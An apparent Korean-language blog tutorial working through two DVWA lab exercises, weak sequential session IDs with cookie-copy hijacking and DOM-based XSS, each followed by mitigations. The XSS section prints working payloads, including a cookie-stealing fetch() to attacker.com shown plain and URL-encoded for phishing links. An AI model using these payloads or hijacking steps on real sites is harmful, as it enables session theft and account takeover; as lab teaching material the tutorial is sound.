1. Weak Session IDs 정의

웹 애플리케이션에서 사용자의 상태를 유지하기 위해 사용하는 Session ID는 사용자를 식별하는 핵심 열쇠다. 그런데 이 세션 아이디가 예측 가능하거나 너무 단순하다면, 공격자는 해당 ID를 추측해서 로그인 상태를 탈취할 수 있다. 이러한 취약한 세션 아이디를 Weak Session ID (취약한 세션 식별자)라고 부른다.

더보기

세션 아이디와 쿠키가 무엇인지


🧠 웹사이트는 왜 우리를 기억해야 할까?

웹에서 사용하는 HTTP라는 기술은 기본적으로 기억력이 없는 구조.
우리가 어떤 페이지를 클릭하든, 서버는 매번 이렇게 생각한다:

"얘는 누구지? 처음 보는 사람인데?"


🎯 그래서 문제가 생긴다

  • 로그인했는데 다음 페이지에서 로그아웃돼버림
  • 장바구니에 물건 담았는데 새로고침하면 사라짐
  • 게시글 쓰다가 뒤로 가면 내용이 초기화됨

이런 걸 막으려면, 서버는 우리를 "계속해서 같은 사람"으로 기억해야 한다.


🍪 그래서 등장한 쿠키 & 세션 아이디

✅ 쿠키(Cookie)란?

브라우저 안에 남겨진 메모

서버가 "이 사용자는 A라는 사람이다"라는 정보를
클라이언트의 브라우저 안에 저장해두는 방식.

예:

Set-Cookie: PHPSESSID=abc123;

이 메모는 브라우저가 다음 요청 때마다 자동으로 서버에게 보여준다:

Cookie: PHPSESSID=abc123

🪪 세션 아이디(Session ID)란?

서버가 클라이언트를 기억하기 위해 준 고유한 번호표

  • 서버는 사용자 1명당 하나의 세션 ID를 만들어서,
  • 이 ID에 맞는 사용자 정보(로그인 여부, 장바구니, 설정 등)를 서버 안에 보관한다

🔄 전체 흐름 쉽게 보기

  1. 클라이언트가 로그인하면
  2. 서버는 세션 ID를 생성하고
  3. 이 값을 쿠키에 담아 클라이언트에게 줘
  4. 클라이언트는는 페이지를 옮길 때마다 이 세션 ID를 같이 보냄
  5. 서버는 이 ID를 보고
  6. “아, 이건 로그인한 사용자 A야” 하고 기억함

🎒 비유로 이해해 보기

  • 웹사이트는 기억상실증에 걸린 은행 직원
  • 고객이 오면 매번 “누구세요?” 하고 물어본다
  • 그래서 고객은 번호표(PHPSESSID)와 메모지(Cookie)를 들고 다녀야 해
  • 그래야 직원이 “아! 아까 대기표 123번 손님이구나!” 하고 기억한다

🔐 보안은 왜 중요할까?

이 세션 ID(번호표)를 누군가가 몰래 복사하거나 예측하면,

그 사람도 너인 척해서 로그인 없이 내부에 들어올 수 있다
→ 이걸 세션 하이재킹이라고 한다

그래서 세션 ID는:

  • 길고 복잡해야 하고
  • HTTPS로 암호화되어야 하고
  • 시간 지나면 자동으로 만료되어야 한다

✅ 정리 요약

개념  설명
HTTP 기본적으로 사용자 상태를 기억하지 못함
세션(Session) 서버가 사용자의 상태를 기억하는 방법
세션 아이디 "사용자 상태"를 식별하기 위한 고유 번호
쿠키 브라우저에 저장된 메모, 세션 아이디를 담아 서버에 전달
서버가 기억해야 하는 이유 로그인, 장바구니, 내 설정 등 ‘나만의 상태’를 유지하기 위해 필요

 

🔒 Weak Session ID란?

공격자가 쉽게 예측할 수 있는 방식으로 생성된 세션 식별자

이는 보통 다음과 같은 경우를 의미한다:

  • 세션 아이디가 순차적 숫자로 증가함 (예: 1, 2, 3, …)
  • 세션 아이디가 너무 짧거나 고정된 패턴을 따름
  • 시간 기반(timestamp)처럼 예측 가능한 값으로 생성됨
  • 암호학적으로 안전하지 않은 함수로 생성됨 (rand(), time() 등)
  • HTTP 응답을 통해 그대로 노출됨

🔍 예시

Set-Cookie: dvwaSession=1

이처럼 dvwaSession=1과 같이 숫자만 증가하는 세션 아이디는 공격자 입장에서 손쉽게 예측할 수 있고, 다른 사용자의 세션으로 접근하는 데 악용될 수 있다.

⚠️ 왜 위험한가?

  • 세션 ID만 알아내면, 로그인 없이도 특정 사용자로 가장할 수 있음
  • 로그인 정보가 노출되지 않아도 세션 하이재킹(Session Hijacking) 발생 가능
  • 인증 절차를 무력화시키므로 보안적으로 가장 심각한 취약점 중 하나

 

2. 실습

이번 실습은 DVWA에서 제공하는 취약한 세션 아이디 생성 방식을 이용해, 세션 하이재킹 공격이 얼마나 쉽게 이뤄질 수 있는지를 직접 체험해보는 과정이다.

 


🎯 실습 목표

  • Weak Session ID가 무엇인지 실제로 관찰하기
  • Burp Suite를 통해 세션 아이디가 어떤 방식으로 만들어지는지 확인하기
  • 크롬에서 세션 ID를 얻은 뒤, 파이어폭스에서 하이재킹 시도
  • 세션 ID만으로 로그인 없이 인증 우회가 가능한지 검증

🛠️ 실습 환경

  • DVWA가 설치된 로컬 서버 (예: http://localhost/DVWA)
  • 크롬 브라우저 (피해자 역할)
  • 파이어폭스 브라우저 (공격자 역할)
  • Burp Suite (HTTP 통신 감청 및 분석)

🧪 실습 과정

  1. Weak Session ID 페이지로 이동
    • DVWA 로그인 후, 좌측 메뉴에서 "Weak Session IDs" 클릭
    • 페이지 내의 [Generate] 버튼 클릭 → 서버가 새로운 세션 ID 생성
  2. Burp Suite로 HTTP 통신 관찰
    • Burp Suite의 Proxy 탭에서 HTTP 요청과 응답을 가로채기
    • 응답(Response) 헤더에서 Set-Cookie: dvwaSession=1 형태의 세션 아이디 확인

     
  3. [Generate] 버튼 반복 클릭
    • 매번 누를 때마다 세션 ID가 1씩 증가하는 것을 확인 가능
      (예: 1 → 2 → 3 → 4...)
  4. 세션 정보 정리
    • Burp Suite 응답에서 dvwaSession 값과 PHPSESSID 값을 따로 메모
    • 또는 크롬 개발자도구 → Application 탭 → Cookies에서 확인 가능
       


    • 더보기
      • DVWA는 일부러 여러 개를 쓴 특수한 경우
      • PHPSESSID → 실제 로그인 상태 유지
      • dvwaSession → 보안 실습을 위해 만든 취약한 출입증 (교육용 도구)

      즉, 여러 개의 세션 ID를 쓰는 건 "가능하지만", 일반적인 웹 개발에서는 권장하지 않는다.

  5. 공격자 브라우저(Firefox)로 이동
    • 로그인하지 않은 상태에서 http://localhost/DVWA 접속
     
  6. Firefox 개발자도구 → Storage 탭 → Cookies 편집
    • PHPSESSID와 dvwaSession 항목을 추가/수정(PHPSESSID값만으로는 접속이 안된다.)

      • 이름: PHPSESSID / 값: 크롬에서 확인한 값
      • 이름: dvwaSession / 값: 크롬에서 확인한 값


  7. 페이지 새로고침
    • 세션 ID만으로 인증 우회 성공 시, 로그인하지 않았는데도 로그인된 사용자 상태로 접근 가능

 

 

 

 

 


 

3. 시나리오

이번 실습은 공격자가 피해자의 세션 아이디를 탈취하여 로그인 없이 인증을 우회하는 과정을 시뮬레이션하는 시나리오다. 아래는 실제로 발생할 수 있는 상황을 단순화한 예시로, 실습 흐름과 보안 취약점의 상관관계를 쉽게 이해할 수 있다.


🧑 피해자 A

  • Chrome 브라우저를 통해 DVWA에 로그인
  • 서버는 A에게 세션 ID를 부여 (dvwaSession=2, PHPSESSID=abcd1234...)
  • A는 로그인 후 정상적으로 DVWA 기능을 사용 중

🕵️ 공격자 B

  • 같은 네트워크에 있거나, 악성 스크립트를 통해 A의 세션 쿠키 값을 탈취
  • 탈취한 값:
    • dvwaSession=2
    • PHPSESSID=2bb1407f5fa655235e55579f73ce3bd5
  • Firefox 브라우저에서 http://localhost/DVWA 접속
  • 개발자 도구 → Storage → Cookies에서 위 쿠키 값들을 직접 주입
  • 페이지 새로고침(F5)

🎯 결과

  • 로그인하지 않았음에도 A의 로그인 상태 그대로 웹사이트에 접근 가능
  • A가 설정해둔 보안 레벨, 진행 중이던 공격 실습 등 모든 정보가 그대로 노출됨

🚨 이 시나리오가 보여주는 위험

  • 로그인 정보를 모르더라도, 세션 ID 하나만 탈취하면 인증이 무력화될 수 있다
  • 이는 실제 웹 서비스에서도 흔히 발생하는 **세션 하이재킹(Session Hijacking)**의 전형적인 예시다
  • 특히 Weak Session ID 구조일 경우, 탈취 없이도 단순히 추측만으로도 공격이 가능해진다

💬 현실적 예시로 풀면?

마치 누군가 내 사물함의 비밀번호를 추측해서 열어본 뒤,
내가 열어둔 상태 그대로 들어가 사용하는 것과 같다.
심지어 비밀번호를 직접 몰라도, 번호가 0001, 0002, 0003... 처럼 단순하다면
열릴 때까지 시도하는 게 어렵지 않다.


 

4. 대응방안

 

이러한 취약점을 방지하기 위해 웹 애플리케이션은 반드시 다음과 같은 보안 조치를 취해야 한다.


✅ 1. 세션 ID를 예측 불가능하게 생성

  • rand() 같은 단순 함수 대신, 반드시 암호학적으로 안전한 난수 생성기 사용
    • PHP에서는 bin2hex(random_bytes(32)) 추천
  • 세션 ID는 길고 무작위한 문자열이어야 하며,
    • 예: 0af98e67cd29c113c3e2bb0c... (32자리 이상)

✅ 2. HTTPS 사용

  • 세션 ID가 HTTP 요청/응답 헤더에 평문으로 전달되기 때문에,
  • 반드시 HTTPS(SSL/TLS) 를 사용하여 중간자 공격을 방지해야 함

✅ 3. 세션 고정 방지 (Session Fixation)

  • 로그인 시 반드시 기존 세션을 폐기하고 새로운 세션 ID를 생성해야 함
    • PHP에서는 session_regenerate_id(true); 사용
  • 공격자가 미리 세션 ID를 설정해두는 세션 고정 공격 방어 가능

✅ 4. 세션 수명과 타임아웃 설정

  • 일정 시간 활동이 없으면 세션 자동 만료
  • 접속 종료 시 세션 삭제 (서버 측에서도 종료 처리)
  • 쿠키에 Expires, Max-Age 속성 설정

✅ 5. 세션 도난 방지를 위한 부가 확인

  • 세션 사용 시 IP 주소, 브라우저 정보(User-Agent) 등을 같이 확인
  • 정보가 달라지면 세션 무효화
  • PHP에선 사용자별 정보로 해시값을 만들고 세션에 같이 저장하는 방식 사용 가능

 

 

 


1. DOM XSS란 무엇인가?

DOM XSS는 웹사이트가 주소창(URL)에 있는 값을 자바스크립트로 가져와 화면에 보여줄 때, 그 값을 제대로 검사하지 않고 그대로 실행해버리는 보안 취약점이다.

이 취약점이 있는 웹사이트는, 사용자가 <script> 같은 악성 코드를 주소에 넣었을 때도 그 내용을 실제로 실행시켜버릴 수 있다.

특징은 다음과 같다:

  • 서버가 아닌 브라우저 안의 자바스크립트가 문제다.
  • 주소창의 값만 바꿔도 공격이 가능하다.
  • 피해자는 링크만 클릭해도 쿠키 탈취, 피싱 유도, 화면 조작 등을 당할 수 있다.

즉, DOM XSS는 웹사이트가 입력값을 안전하게 처리하지 않아서, 사용자가 만든 악성 코드가 브라우저에서 그대로 실행되는 문제이다.


더보기

 

✅ 공격자가 DOM XSS 취약점을 찾는 방법


1. 주소창에 값이 바뀌면 화면도 바뀌는지 확인한다

예:

http://example.com/page?lang=English
  • 공격자는 lang=English를 다른 값으로 바꿔본다.
    예를 들어 lang=pizza로 바꿨을 때,
    → 화면에 "pizza"가 보이면?
    → 웹사이트가 URL 값을 읽어서 화면에 보여주는 걸 알 수 있다.
    이건 DOM XSS 의심 신호!

2. 개발자 도구(F12)에서 JavaScript가 주소값을 읽는지 본다

  • 공격자는 F12 개발자 도구를 열고 JavaScript 코드를 확인한다.
  • 다음과 같은 코드가 있으면 매우 의심스럽다:
var value = location.href.split("lang=")[1];
document.body.innerHTML = value;

→ 주소창 값을 자바스크립트가 직접 가져와 DOM에 삽입하고 있다.
✅ 이건 거의 확정적으로 DOM XSS 취약점이다.


3. 테스트용 스크립트를 넣어본다

예를 들어 URL에 이렇게 넣어본다:

http://example.com/page?lang=alert(1)
  • 알림창(alert)이 뜨면?
    ✅ XSS 성공 → 취약점 존재 확인!

📌 요약


행동 목적
주소창 값을 바꿔보기 웹사이트가 그 값을 사용하는지 확인
개발자 도구로 JS 확인 JavaScript가 DOM에 값 삽입하는지 확인
<script>alert(1)</script> 입력 실제로 실행되는지 테스트

 

 


2. DOM XSS 실습 정의

실습 환경은 리눅스 서버에서 구성된 DVWA 웹페이지이며, 보안 수준을 ‘Low’로 설정해 필터링 없이 공격이 가능한 상태에서 실험을 진행한다.

이 실습의 핵심은 웹페이지가 자바스크립트를 이용해 주소창(URL)의 값을 읽어 웹 화면에 그대로 보여주는 구조를 갖고 있다는 점이다. 이 구조 덕분에 공격자는 URL에 악성 스크립트를 삽입함으로써 브라우저 내부에서 자바스크립트가 실행되게 만들 수 있다.

실습을 통해 우리는:

  • 어떻게 URL에 입력한 값이 화면에 반영되는지
  • 그 값이 어떻게 JavaScript에 의해 실행되는지
  • 어떤 식으로 악성 스크립트를 삽입해 공격할 수 있는지

를 직접 확인하고 이해하게 된다.

 


2-1. DOM XSS 실습 과정

(0) 개발자 도구에서 자바스크립트 동작을 확인할 수 있다

먼저 개발자 도구(F12)를 열어 웹페이지의 소스를 분석해보면, <script> 태그 안에서 document.location.href를 사용해 URL 값을 읽고, document.write()를 통해 웹페이지에 내용을 삽입하는 자바스크립트 코드가 존재한다. 이처럼 브라우저에서 주소창 값을 자바스크립트가 직접 읽어 DOM을 수정하고 있다는 것은, 이 페이지가 DOM XSS에 취약할 수 있다는 강력한 근거가 된다.


(1) DOM XSS 메뉴에 접속하면 언어를 선택할 수 있는 화면이 나온다

DVWA에서 "DOM Based XSS" 메뉴를 클릭하면, "Please choose a language"라는 문구와 함께 언어 선택 드롭다운과 "Select" 버튼이 보인다.


(2) 언어를 선택하고 Select 버튼을 누르면 URL에 default=English가 붙는다

예를 들어 ‘English’를 선택하고 Select를 누르면, 브라우저 주소창(URL)에 다음과 같은 파라미터가 붙는다:

http://localhost/DVWA/vulnerabilities/xss_d/?default=English

이때, 웹페이지는 URL에 포함된 default 값을 읽어 드롭다운 목록의 기본 선택값으로 설정한다.


(3) 이 값을 pizza처럼 바꿔보면 목록에 없는 항목이 화면에 나타난다

주소창의 default=English를 default=pizza로 바꾸고 새로고침하면, 기존 목록에 없던 "pizza"라는 값이 드롭다운에 새롭게 나타난다. 이는 자바스크립트가 URL 값을 그대로 가져와 화면을 구성하고 있다는 것을 보여준다. 이 구조라면, 사용자가 <script> 태그 같은 코드를 넣어도 그대로 실행될 수 있음을 의미한다.


(4) <script>document.body.style.background='red'</script> 입력 시 배경이 빨간색으로 바뀐다

이 스크립트를 URL에 넣고 실행하면 페이지의 배경색이 빨간색으로 바뀐다. 이는 자바스크립트가 실행되고 있다는 명백한 증거이다.


(5) <script>location.href='https://www.naver.com'</script> 입력 시 네이버로 이동된다

이번에는 URL 조작을 통해 페이지를 외부 사이트로 리디렉션시키는 것도 가능하다. 이 역시 DOM 조작을 통해 실행된 자바스크립트가 작동했음을 의미한다.


(6) <script>document.body.innerHTML='💥 hahahahaha.'</script> 입력 시 페이지 전체 내용이 바뀐다

페이지의 모든 내용이 공격자가 입력한 메시지로 대체된다. 사용자의 시각적 혼란을 유도하거나 피싱 페이지로 가장할 수 있는 공격 방식이다.


(7) <script>alert('your cookies: ' + document.cookie)</script> 입력 시 쿠키 정보가 알림창으로 표시된다

웹브라우저가 가진 쿠키 정보가 그대로 알림창에 출력된다. 사용자의 세션 쿠키를 노출시킬 수 있으며, 이는 곧 세션 탈취로 이어질 수 있다.


💥 추가: 실제 공격 시나리오 (이론)

실제 공격자는 아래와 같은 스크립트를 URL에 삽입해, 사용자의 쿠키를 외부 서버로 전송할 수 있다:


  fetch('<a href=http://attacker.com/log?cookie='>http://attacker.com/log?cookie='</a> + document.cookie);

이 링크를 이메일, 메신저, 블로그 등에 심어두고 사용자가 클릭하게 만들면, 사용자의 쿠키가 공격자 서버로 전송된다. 공격자는 이 쿠키를 통해 피해자의 계정에 무단 접근할 수 있다.

 


3. 공격 시나리오

DOM XSS는 사용자가 직접 입력한 값이 자바스크립트에 의해 브라우저에서 실행되기 때문에, 공격자가 특별한 서버 권한 없이도 간단한 링크 하나만으로 피해자를 속일 수 있다는 점이 매우 위험하다.

아래는 공격자가 DOM XSS 취약점을 이용해 실제로 공격을 수행하는 시나리오이다.


① 취약한 웹페이지 발견

공격자는 어떤 웹사이트가 URL의 특정 값(예: default)을 읽어서 화면을 구성한다는 사실을 발견한다. 개발자 도구나 테스트 입력을 통해, 이 값이 자바스크립트를 통해 그대로 DOM에 삽입된다는 점도 확인한다.


② 악성 코드 삽입 테스트

공격자는 아래와 같은 URL을 직접 브라우저에 입력해 테스트해본다:

http://victim.com/page?default=alert('XSS')

브라우저에서 알림창이 뜨면, 자바스크립트가 실행되었다는 뜻이다. 이로써 DOM XSS 취약점이 있다는 사실을 확인한다.


③ 악성 링크를 인코딩해서 전파

이제 공격자는 아래와 같은 방식으로 실제 공격을 준비한다:

http://victim.com/page?default=%3Cscript%3Efetch('http://attacker.com/log?cookie='%2Bdocument.cookie)%3C/script%3E

위 URL은 fetch() 함수를 통해 피해자의 쿠키를 공격자의 서버로 보내는 코드가 들어가 있다. <script> 태그는 URL 인코딩되어 있어 겉으로 보기엔 일반적인 링크처럼 보인다.


④ 피해자에게 링크를 전송

공격자는 이 악성 링크를 이메일, 메신저, 블로그 댓글, SNS DM 등을 통해 무심코 클릭하게 만든다. 링크를 클릭한 피해자는 아무런 의심 없이 웹페이지에 접속하게 되고, 그 순간 브라우저에서 자바스크립트가 실행되어 쿠키가 외부로 전송된다.


⑤ 세션 탈취 및 계정 도용

피해자의 쿠키에는 로그인 정보(세션 토큰)가 들어 있다. 공격자는 이 쿠키 값을 브라우저에 삽입하면, 로그인 없이도 피해자의 계정에 접근할 수 있게 된다. 이를 통해 게시글 작성, 정보 탈취, 계정 변경 등 다양한 악의적 행위를 할 수 있다.


💥 한 줄 요약

공격자는 주소만 살짝 조작해서, 피해자가 클릭하는 순간 브라우저에서 악성 코드가 실행되고, 그 결과로 쿠키, 로그인 세션, 개인정보 등이 유출될 수 있다.

 


4. 해결 방안

DOM XSS는 브라우저 내부의 자바스크립트가 문제를 일으키는 취약점이기 때문에, 서버 측 필터링만으로는 막을 수 없다. 자바스크립트 코드를 짤 때부터 사용자의 입력값을 어떻게 다루느냐가 핵심이다.

다음은 DOM XSS를 예방하기 위한 주요 대응 방법이다.


✅ 1. innerHTML, document.write() 대신 안전한 DOM 조작 방식 사용

element.textContent = userInput;
  • innerHTML이나 document.write()는 자바스크립트 코드나 HTML 태그를 그대로 실행시킬 수 있으므로 위험하다.
  • 대신 textContent나 setAttribute()처럼 코드를 실행하지 않고 문자 그대로 표시하는 방법을 사용해야 한다.

✅ 2. 입력값을 반드시 검증 및 인코딩

function sanitize(input) {
  return input.replace(/</g, "&lt;").replace(/>/g, "&gt;");
}
  • 입력값에 <, > 같은 HTML 태그가 포함되면 스크립트로 해석되지 않도록 변환해야 한다.
  • 이는 자바스크립트 안에서 직접 처리할 수도 있고, 보안 라이브러리를 사용할 수도 있다.

✅ 3. 보안 라이브러리 사용 (예: DOMPurify)

var clean = DOMPurify.sanitize(userInput);
  • 오픈소스 보안 필터링 도구인 DOMPurify는 신뢰되지 않은 데이터를 안전하게 처리해준다.
  • HTML을 쓰면서도 XSS를 막고 싶을 때 매우 유용하다.

✅ 4. Content Security Policy(CSP) 적용

Content-Security-Policy: script-src 'self'
  • CSP는 브라우저에게 "이 웹사이트는 어디서 온 자바스크립트만 실행해도 된다"라고 알려주는 보안 설정이다.
  • 외부에서 삽입된 <script>는 실행을 차단할 수 있어 추가적인 방어선이 된다.

✅ 5. 자바스크립트로 URL 값 처리 시 항상 주의

var param = new URLSearchParams(window.location.search).get("default");
  • URL에서 값을 가져올 때는 단순 split이 아니라 URLSearchParams 같은 안전한 도구를 사용해야 한다.
  • 가져온 값은 반드시 검증하거나 필터링한 후에 사용한다.

🧠 정리하자면

잘못된 방식 안전한 방식
innerHTML, document.write() textContent, createTextNode()
값 그대로 사용 인코딩 또는 필터링 후 사용
사용자 입력 신뢰 항상 검증 및 제한

✅ 한 줄 요약

DOM XSS를 막기 위해선, 브라우저에서 실행되는 자바스크립트가 사용자 입력을 안전하게 처리하도록 코드 구조를 바꾸는 것이 가장 중요하다.


 

+ Recent posts